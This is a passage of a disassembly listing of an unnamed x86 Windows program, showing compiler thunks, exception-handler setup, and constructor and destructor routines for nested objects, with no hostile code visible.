endp ; --------------------------------------------------------------------------- off_402009 dd offset byte_4BC2E9 ; DATA XREF: ___:off_43E008o align 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40200E proc near ; CODE XREF: sub_404640+2CEp ; sub_404C70+472p ... jmp sub_40A670 sub_40200E endp ; --------------------------------------------------------------------------- jmp loc_433120 ; --------------------------------------------------------------------------- jmp sub_41B3D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40201D proc near ; CODE XREF: sub_422370+Ap jmp sub_422650 sub_40201D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402022 proc near ; CODE XREF: sub_404C70+7EAp jmp sub_41B950 sub_402022 endp ; --------------------------------------------------------------------------- loc_402027: ; DATA XREF: ___:off_43E014o jmp loc_40ADE0 ; --------------------------------------------------------------------------- loc_40202C: ; DATA XREF: ___:off_43E088o jmp loc_42BE60 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402031 proc near ; CODE XREF: ___:0040ADE3p ; ___:0040FEDEp ... jmp sub_40AE10 sub_402031 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402036 proc near ; CODE XREF: sub_424840+109p ; sub_424840+178p ... jmp sub_424720 sub_402036 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40203B proc near ; CODE XREF: sub_4098E0+7p jmp sub_4099D0 sub_40203B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402040 proc near ; CODE XREF: sub_416660+Ap jmp sub_416870 sub_402040 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402045 proc near jmp sub_40CB10 sub_402045 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40204A proc near ; CODE XREF: ___:0042EEEBp ; sub_42FDD0+EAp jmp sub_433030 sub_40204A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40204F proc near ; CODE XREF: sub_421960+5p ; sub_421A50+6p ... jmp sub_421EF0 sub_40204F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402054 proc near ; CODE XREF: sub_40FF60+8ADp ; sub_40FF60+95Ep ... jmp sub_411990 sub_402054 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402059 proc near ; CODE XREF: sub_40C040+7p jmp sub_40C230 sub_402059 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40205E proc near ; CODE XREF: sub_418940+34p ; sub_418E90+67p jmp sub_418CA0 sub_40205E endp ; --------------------------------------------------------------------------- jmp loc_409B10 ; --------------------------------------------------------------------------- loc_402068: ; DATA XREF: ___:off_43E13Co jmp loc_427FC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40206D proc near ; CODE XREF: sub_417020+2Bp ; sub_417020+3Bp ... jmp sub_403EE0 sub_40206D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402072 proc near ; CODE XREF: sub_4097D0+14p jmp sub_409830 sub_402072 endp ; --------------------------------------------------------------------------- jmp loc_431FD0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40207C proc near ; CODE XREF: sub_427AD0:loc_427CDBp jmp sub_4279F0 sub_40207C endp ; --------------------------------------------------------------------------- jmp sub_426650 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402086 proc near ; CODE XREF: sub_418330+4Dp jmp sub_418A70 sub_402086 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40208B proc near ; CODE XREF: sub_415160+5p ; sub_415310+6p ... jmp sub_415CE0 sub_40208B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402090 proc near ; CODE XREF: sub_426650+3p jmp sub_426680 sub_402090 endp ; --------------------------------------------------------------------------- jmp loc_41B0F0 ; --------------------------------------------------------------------------- jmp loc_421620 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40209F proc near ; CODE XREF: ___:00416D4Fp jmp sub_407030 sub_40209F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020A4 proc near ; CODE XREF: sub_413670+83p ; sub_4144D0+91p ... jmp sub_415310 sub_4020A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020A9 proc near ; DATA XREF: ___:0043E054o jmp sub_41EF30 sub_4020A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020AE proc near ; CODE XREF: sub_40A9F0+144p jmp sub_40AD00 sub_4020AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020B3 proc near ; CODE XREF: sub_42FF50+BAp ; sub_432980+36p jmp sub_4329F0 sub_4020B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020B8 proc near ; CODE XREF: sub_421DF0+23p ; sub_422240+11p jmp sub_4223E0 sub_4020B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020BD proc near ; CODE XREF: sub_4220E0+4p jmp sub_4224F0 sub_4020BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020C2 proc near ; CODE XREF: sub_42A810+3BBp jmp sub_42A440 sub_4020C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020C7 proc near ; CODE XREF: ___:0041A212p jmp sub_41A2B0 sub_4020C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020CC proc near ; CODE XREF: sub_416760+Ap jmp sub_4168C0 sub_4020CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020D1 proc near ; DATA XREF: ___:off_43E18Co jmp sub_42B2D0 sub_4020D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020D6 proc near ; CODE XREF: sub_415C70+4p jmp sub_416490 sub_4020D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020DB proc near ; CODE XREF: ___:0042F4B6p ; ___:0042F518p ... jmp sub_4337E0 sub_4020DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020E0 proc near ; CODE XREF: sub_418D20+8p jmp sub_418FC0 sub_4020E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020E5 proc near ; CODE XREF: sub_418890+34p ; sub_418D80+67p jmp sub_418BA0 sub_4020E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020EA proc near ; CODE XREF: sub_41A6D0+117p jmp sub_41A860 sub_4020EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020EF proc near ; CODE XREF: sub_415AA0+35p jmp sub_416570 sub_4020EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020F4 proc near ; CODE XREF: sub_404C70+45Cp ; sub_4066E0+43p ... jmp sub_409BC0 sub_4020F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020F9 proc near ; CODE XREF: sub_40BD20+5p ; sub_40BE60+6p ... jmp sub_40C060 sub_4020F9 endp ; --------------------------------------------------------------------------- jmp loc_42F5B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402103 proc near ; CODE XREF: ___:00416E7Ap jmp sub_4190B0 sub_402103 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402108 proc near ; CODE XREF: ___:00429A33p jmp sub_429A60 sub_402108 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40210D proc near ; CODE XREF: sub_40FF60+F3Dp ; sub_40FF60+1392p ... jmp sub_4147D0 sub_40210D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402112 proc near ; CODE XREF: sub_4139B0+38p ; sub_413DA0+5Fp jmp sub_413510 sub_402112 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402117 proc near ; CODE XREF: sub_40A130+14p ; sub_40A160+7p ... jmp sub_40A180 sub_402117 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40211C proc near ; CODE XREF: sub_42A150+157p jmp sub_429D00 sub_40211C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402121 proc near ; CODE XREF: sub_40ABE0+1Ap ; sub_40AC30+1Ap jmp sub_40ACA0 sub_402121 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402126 proc near ; CODE XREF: sub_415600+3p ; ___:00415E1Fp ... jmp sub_416050 sub_402126 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40212B proc near ; DATA XREF: ___:0043E02Co jmp sub_40FF60 sub_40212B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402130 proc near ; CODE XREF: sub_4147D0+EDp jmp sub_415830 sub_402130 endp ; --------------------------------------------------------------------------- jmp loc_41B390 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40213A proc near ; CODE XREF: sub_40BE20+3p jmp sub_40C0A0 sub_40213A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40213F proc near ; CODE XREF: sub_40BEC0+11p ; ___:0040BEE7p ... jmp sub_40C1E0 sub_40213F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402144 proc near ; CODE XREF: sub_41E660+2C5p jmp sub_4207E0 sub_402144 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402149 proc near ; CODE XREF: sub_41D830+652p jmp sub_41C070 sub_402149 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40214E proc near ; CODE XREF: sub_418BC0+32p jmp sub_418E90 sub_40214E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402153 proc near ; CODE XREF: sub_40EC30+ACp ; ___:0040F35Dp jmp sub_40ED70 sub_402153 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402158 proc near ; CODE XREF: sub_4137E0+93p jmp sub_433A20 sub_402158 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40215D proc near ; CODE XREF: sub_4151D0+1Fp ; sub_415AA0+2Cp jmp sub_415A00 sub_40215D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402162 proc near ; CODE XREF: ___:0042541Dp jmp sub_4253E0 sub_402162 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402167 proc near ; CODE XREF: sub_420530+17Dp jmp sub_4219D0 sub_402167 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40216C proc near ; CODE XREF: ___:0042C261p jmp sub_42A090 sub_40216C endp ; --------------------------------------------------------------------------- loc_402171: ; DATA XREF: ___:off_43E010o jmp loc_409B10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402176 proc near ; CODE XREF: sub_40A9F0+6Ap ; sub_40A9F0+103p jmp sub_40AC30 sub_402176 endp ; --------------------------------------------------------------------------- jmp loc_426620 ; --------------------------------------------------------------------------- jmp loc_41AC00 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402185 proc near ; CODE XREF: sub_407220+16p ; sub_407260+Bp ... jmp sub_4074C0 sub_402185 endp ; --------------------------------------------------------------------------- jmp loc_416CE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40218F proc near ; CODE XREF: sub_40B000+1Bp jmp sub_432AD0 sub_40218F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402194 proc near ; CODE XREF: ___:00415A5Ap jmp sub_4164E0 sub_402194 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402199 proc near ; CODE XREF: sub_42F6B0+ABp ; sub_430690+1Bp ... jmp sub_430700 sub_402199 endp ; --------------------------------------------------------------------------- jmp loc_42EA90 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021A3 proc near ; CODE XREF: ___:004086AAp ; ___:004086CFp ... jmp sub_4198C0 sub_4021A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021A8 proc near ; DATA XREF: ___:0043E130o ; ___:0043E140o ... jmp sub_42C710 sub_4021A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021AD proc near ; CODE XREF: sub_40B520+55p jmp sub_409FD0 sub_4021AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021B2 proc near ; DATA XREF: ___:off_43E14Co jmp sub_428220 sub_4021B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021B7 proc near ; CODE XREF: sub_421AF0+34p ; sub_422410+67p jmp sub_422130 sub_4021B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021BC proc near ; CODE XREF: sub_4070F0+2Cp ; sub_4070F0+68p ... jmp sub_407260 sub_4021BC endp ; --------------------------------------------------------------------------- jmp loc_4333F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021C6 proc near ; CODE XREF: sub_41C610+1B3p ; sub_41C610+332p ... jmp sub_41D670 sub_4021C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021CB proc near ; CODE XREF: sub_40BC70+11p ; sub_40BEC0+1Fp jmp sub_40BFF0 sub_4021CB endp ; --------------------------------------------------------------------------- jmp loc_42F5F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021D5 proc near ; CODE XREF: sub_4245F0+1Ap ; sub_4246D0+1Bp ... jmp sub_424420 sub_4021D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021DA proc near ; CODE XREF: ___:004169BBp jmp sub_418940 sub_4021DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021DF proc near jmp sub_42BB70 sub_4021DF endp ; --------------------------------------------------------------------------- jmp loc_42EC80 ; --------------------------------------------------------------------------- jmp loc_42EE10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021EE proc near ; CODE XREF: sub_433160+1Bp jmp sub_4331D0 sub_4021EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021F3 proc near ; CODE XREF: sub_42E400+101p jmp sub_42DD50 sub_4021F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021F8 proc near ; DATA XREF: ___:off_43E00Co jmp sub_4071C0 sub_4021F8 endp ; --------------------------------------------------------------------------- jmp loc_42E2D0 ; --------------------------------------------------------------------------- jmp locret_418840 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402207 proc near ; CODE XREF: sub_4036D0+25p ; sub_4036D0+35p ... jmp sub_403C90 sub_402207 endp ; --------------------------------------------------------------------------- jmp loc_433100 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402211 proc near ; CODE XREF: sub_418330+88p ; sub_418330+98p jmp sub_418A90 sub_402211 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402216 proc near ; CODE XREF: ___:00416ABBp ; ___:00439F0Aj ... jmp sub_417770 sub_402216 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40221B proc near ; CODE XREF: sub_418AE0+5p jmp sub_418D50 sub_40221B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402220 proc near ; CODE XREF: sub_414640+3p jmp sub_414670 sub_402220 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402225 proc near ; CODE XREF: ___:0042F2FBp ; ___:0042FC27p ... jmp sub_430AD0 sub_402225 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40222A proc near ; DATA XREF: ___:off_43E11Co jmp sub_427600 sub_40222A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40222F proc near ; CODE XREF: sub_42F840+102p ; sub_431730+5Dp ... jmp sub_430810 sub_40222F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402234 proc near ; CODE XREF: sub_413510+5Cp ; sub_413510+C0p ... jmp sub_415460 sub_402234 endp ; --------------------------------------------------------------------------- jmp loc_431410 ; --------------------------------------------------------------------------- jmp loc_42F170 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402243 proc near ; CODE XREF: sub_41D830+203p jmp sub_42D0D0 sub_402243 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402248 proc near ; CODE XREF: sub_42E400+148p ; sub_42E400+173p jmp sub_42DC70 sub_402248 endp ; --------------------------------------------------------------------------- jmp loc_42E1A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402252 proc near ; CODE XREF: sub_4133D0+34p ; sub_4147D0+40p jmp sub_4158F0 sub_402252 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402257 proc near ; CODE XREF: sub_40CBB0+1A4p ; sub_40CF60+ADp jmp sub_40CF60 sub_402257 endp ; --------------------------------------------------------------------------- jmp loc_42E220 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402261 proc near ; CODE XREF: sub_422A40+938p jmp loc_423FA0 sub_402261 endp ; --------------------------------------------------------------------------- jmp loc_419A90 ; --------------------------------------------------------------------------- loc_40226B: ; CODE XREF: ___:00438CE6j jmp loc_40CEE0 ; --------------------------------------------------------------------------- db 1270h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4034E0 proc near ; CODE XREF: sub_4019B5j var_46C = dword ptr -46Ch var_468 = byte ptr -468h var_450 = byte ptr -450h var_438 = byte ptr -438h var_420 = byte ptr -420h var_408 = dword ptr -408h var_404 = byte ptr -404h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_4034E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 460h mov eax, [esp+46Ch+arg_4] push ebp push esi push edi mov [esp+478h+var_408], eax mov eax, [esp+478h+arg_8] xor edi, edi mov esi, 1 cmp eax, edi mov [esp+478h+var_46C], edi jz short loc_403539 lea edx, [esp+478h+arg_8] lea ecx, [esp+478h+var_404] loc_40352A: ; CODE XREF: sub_4034E0+57j add edx, 4 mov [ecx], eax inc esi add ecx, 4 mov eax, [edx] cmp eax, edi jnz short loc_40352A loc_403539: ; CODE XREF: sub_4034E0+3Dj lea ecx, [esp+478h+var_468] mov [esp+esi*4+478h+var_408], edi call sub_401424 push offset asc_4435EC ; "|" lea ecx, [esp+47Ch+var_438] mov [esp+47Ch+var_4], 1 call sub_401861 push offset aABCDEFGHIJKLMN ; "a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t"... lea ecx, [esp+47Ch+var_468] mov byte ptr [esp+47Ch+var_4], 2 call sub_401A87 push offset byte_446F70 lea ecx, [esp+47Ch+var_450] call sub_401861 mov byte ptr [esp+478h+var_4], 3 xor esi, esi lea edi, [esp+478h+var_408] loc_403591: ; CODE XREF: sub_4034E0+105j mov ebp, [edi] test ebp, ebp jz short loc_4035E7 lea ecx, [esp+478h+var_438] call sub_401681 dec ebp push eax lea ecx, [esp+47Ch+var_420] push ebp push ecx lea ecx, [esp+484h+var_468] call sub_4016AE mov ecx, eax mov byte ptr [esp+478h+var_4], 4 call sub_4017E4 push eax lea ecx, [esp+47Ch+var_450] call sub_401A9B lea ecx, [esp+478h+var_420] mov byte ptr [esp+478h+var_4], 3 call sub_401226 inc esi add edi, 4 cmp esi, 0FFh jb short loc_403591 loc_4035E7: ; CODE XREF: sub_4034E0+B5j mov esi, [esp+478h+arg_0] lea edx, [esp+478h+var_450] push edx mov ecx, esi call sub_4014C9 mov [esp+478h+var_46C], 1 lea ecx, [esp+478h+var_450] mov byte ptr [esp+478h+var_4], 2 call sub_401226 lea ecx, [esp+478h+var_438] mov byte ptr [esp+478h+var_4], 1 call sub_401226 lea ecx, [esp+478h+var_468] mov byte ptr [esp+478h+var_4], 0 call sub_401226 mov ecx, [esp+478h+var_C] mov eax, esi pop edi pop esi pop ebp mov large fs:0, ecx add esp, 46Ch retn sub_4034E0 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4036B0 proc near ; CODE XREF: sub_401681j mov eax, [ecx+9] retn sub_4036B0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4036D0 proc near ; CODE XREF: sub_40129Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4036D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+9] call sub_402207 lea ecx, [esi+52h] mov [esp+14h+var_4], 0 call sub_402207 lea ecx, [esi+9Bh] mov byte ptr [esp+14h+var_4], 1 call sub_402207 lea ecx, [esi+0E4h] mov byte ptr [esp+14h+var_4], 2 call sub_402207 lea ecx, [esi+12Dh] mov byte ptr [esp+14h+var_4], 3 call sub_402207 lea ecx, [esi+176h] mov byte ptr [esp+14h+var_4], 4 call sub_402207 lea ecx, [esi+1BFh] mov byte ptr [esp+14h+var_4], 5 call sub_402207 lea ecx, [esi+208h] mov byte ptr [esp+14h+var_4], 6 call sub_402207 lea ecx, [esi+251h] mov byte ptr [esp+14h+var_4], 7 call sub_402207 lea ecx, [esi+29Ah] mov byte ptr [esp+14h+var_4], 8 call sub_402207 lea ecx, [esi+2E3h] mov byte ptr [esp+14h+var_4], 9 call sub_402207 lea ecx, [esi+32Ch] mov byte ptr [esp+14h+var_4], 0Ah call sub_402207 lea ecx, [esi+375h] mov byte ptr [esp+14h+var_4], 0Bh call sub_402207 lea ecx, [esi+3BEh] mov byte ptr [esp+14h+var_4], 0Ch call sub_402207 lea ecx, [esi+407h] mov byte ptr [esp+14h+var_4], 0Dh call sub_402207 lea ecx, [esi+450h] mov byte ptr [esp+14h+var_4], 0Eh call sub_402207 lea ecx, [esi+499h] mov byte ptr [esp+14h+var_4], 0Fh call sub_402207 lea ecx, [esi+4E2h] mov byte ptr [esp+14h+var_4], 10h call sub_402207 lea ecx, [esi+52Bh] mov byte ptr [esp+14h+var_4], 11h call sub_402207 mov byte ptr [esp+14h+var_4], 12h lea ecx, [esi+574h] call sub_402207 lea ecx, [esi+5BDh] mov byte ptr [esp+14h+var_4], 13h call sub_402207 lea ecx, [esi+606h] mov byte ptr [esp+14h+var_4], 14h call sub_402207 lea ecx, [esi+64Fh] mov byte ptr [esp+14h+var_4], 15h call sub_402207 lea ecx, [esi+698h] mov byte ptr [esp+14h+var_4], 16h call sub_402207 lea ecx, [esi+6E1h] mov byte ptr [esp+14h+var_4], 17h call sub_402207 lea ecx, [esi+72Ah] mov byte ptr [esp+14h+var_4], 18h call sub_402207 lea ecx, [esi+773h] mov byte ptr [esp+14h+var_4], 19h call sub_402207 lea ecx, [esi+7BCh] mov byte ptr [esp+14h+var_4], 1Ah call sub_402207 lea ecx, [esi+805h] mov byte ptr [esp+14h+var_4], 1Bh call sub_402207 lea ecx, [esi+84Eh] mov byte ptr [esp+14h+var_4], 1Ch call sub_402207 lea ecx, [esi+897h] mov byte ptr [esp+14h+var_4], 1Dh call sub_402207 lea ecx, [esi+8E0h] mov byte ptr [esp+14h+var_4], 1Eh call sub_402207 lea ecx, [esi+929h] mov byte ptr [esp+14h+var_4], 1Fh call sub_402207 lea ecx, [esi+972h] mov byte ptr [esp+14h+var_4], 20h call sub_402207 lea ecx, [esi+9BBh] mov byte ptr [esp+14h+var_4], 21h call sub_402207 lea ecx, [esi+0A04h] mov byte ptr [esp+14h+var_4], 22h call sub_402207 lea ecx, [esi+0A4Dh] mov byte ptr [esp+14h+var_4], 23h call sub_402207 lea ecx, [esi+0A96h] mov byte ptr [esp+14h+var_4], 24h call sub_402207 lea ecx, [esi+0ADFh] mov byte ptr [esp+14h+var_4], 25h call sub_402207 lea ecx, [esi+0B28h] mov byte ptr [esp+14h+var_4], 26h call sub_402207 lea ecx, [esi+0B71h] mov byte ptr [esp+14h+var_4], 27h call sub_401749 lea ecx, [esi+0B9Fh] mov byte ptr [esp+14h+var_4], 28h call sub_401749 lea ecx, [esi+0BCDh] mov byte ptr [esp+14h+var_4], 29h call sub_401749 lea ecx, [esi+0BFBh] mov byte ptr [esp+14h+var_4], 2Ah call sub_401749 lea ecx, [esi+0C29h] mov byte ptr [esp+14h+var_4], 2Bh call sub_401749 lea ecx, [esi+0C57h] mov byte ptr [esp+14h+var_4], 2Ch call sub_401749 lea ecx, [esi+0C85h] mov byte ptr [esp+14h+var_4], 2Dh call sub_401749 lea ecx, [esi+0CB3h] mov byte ptr [esp+14h+var_4], 2Eh call sub_401749 lea ecx, [esi+0CE1h] mov byte ptr [esp+14h+var_4], 2Fh call sub_401749 lea ecx, [esi+0D0Fh] mov byte ptr [esp+14h+var_4], 30h call sub_401749 lea ecx, [esi+0D3Dh] mov byte ptr [esp+14h+var_4], 31h call sub_401749 lea ecx, [esi+0D6Bh] mov byte ptr [esp+14h+var_4], 32h call sub_401749 lea ecx, [esi+0D99h] mov byte ptr [esp+14h+var_4], 33h call sub_401749 lea ecx, [esi+0DC7h] mov byte ptr [esp+14h+var_4], 34h call sub_401749 lea ecx, [esi+0DF5h] mov byte ptr [esp+14h+var_4], 35h call sub_401749 lea ecx, [esi+0E23h] mov byte ptr [esp+14h+var_4], 36h call sub_401749 lea ecx, [esi+0E51h] mov byte ptr [esp+14h+var_4], 37h call sub_401749 lea ecx, [esi+0E7Fh] mov byte ptr [esp+14h+var_4], 38h call sub_4011A4 lea ecx, [esi+10C7h] mov byte ptr [esp+14h+var_4], 39h call sub_4011A4 lea ecx, [esi+130Fh] mov byte ptr [esp+14h+var_4], 3Ah call sub_4011A4 lea ecx, [esi+1557h] mov byte ptr [esp+14h+var_4], 3Bh call sub_4011A4 lea ecx, [esi+179Fh] mov byte ptr [esp+14h+var_4], 3Ch call sub_4011A4 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E000 mov byte ptr [esi+4], 0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4036D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 110h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403C00 proc near ; CODE XREF: sub_401023j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403C00 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403C00 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403C70 proc near ; CODE XREF: sub_4011B3j mov eax, ecx mov dword ptr [eax], offset off_43E004 retn sub_403C70 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403C90 proc near ; CODE XREF: sub_402207j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403C90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401424 lea ecx, [esi+1Eh] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+33h] mov byte ptr [esp+14h+var_4], 1 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403C90 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403D10 proc near ; CODE XREF: sub_401AD2j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403D10 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+33h] mov [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+1Eh] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403D10 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403D90 proc near ; CODE XREF: sub_401749j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403D90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401424 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403D90 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403E00 proc near ; CODE XREF: sub_4011A4j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403E00 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_402207 lea ecx, [esi+49h] mov [esp+14h+var_4], 0 call sub_402207 lea ecx, [esi+92h] mov byte ptr [esp+14h+var_4], 1 call sub_402207 lea ecx, [esi+0DBh] mov byte ptr [esp+14h+var_4], 2 call sub_402207 lea 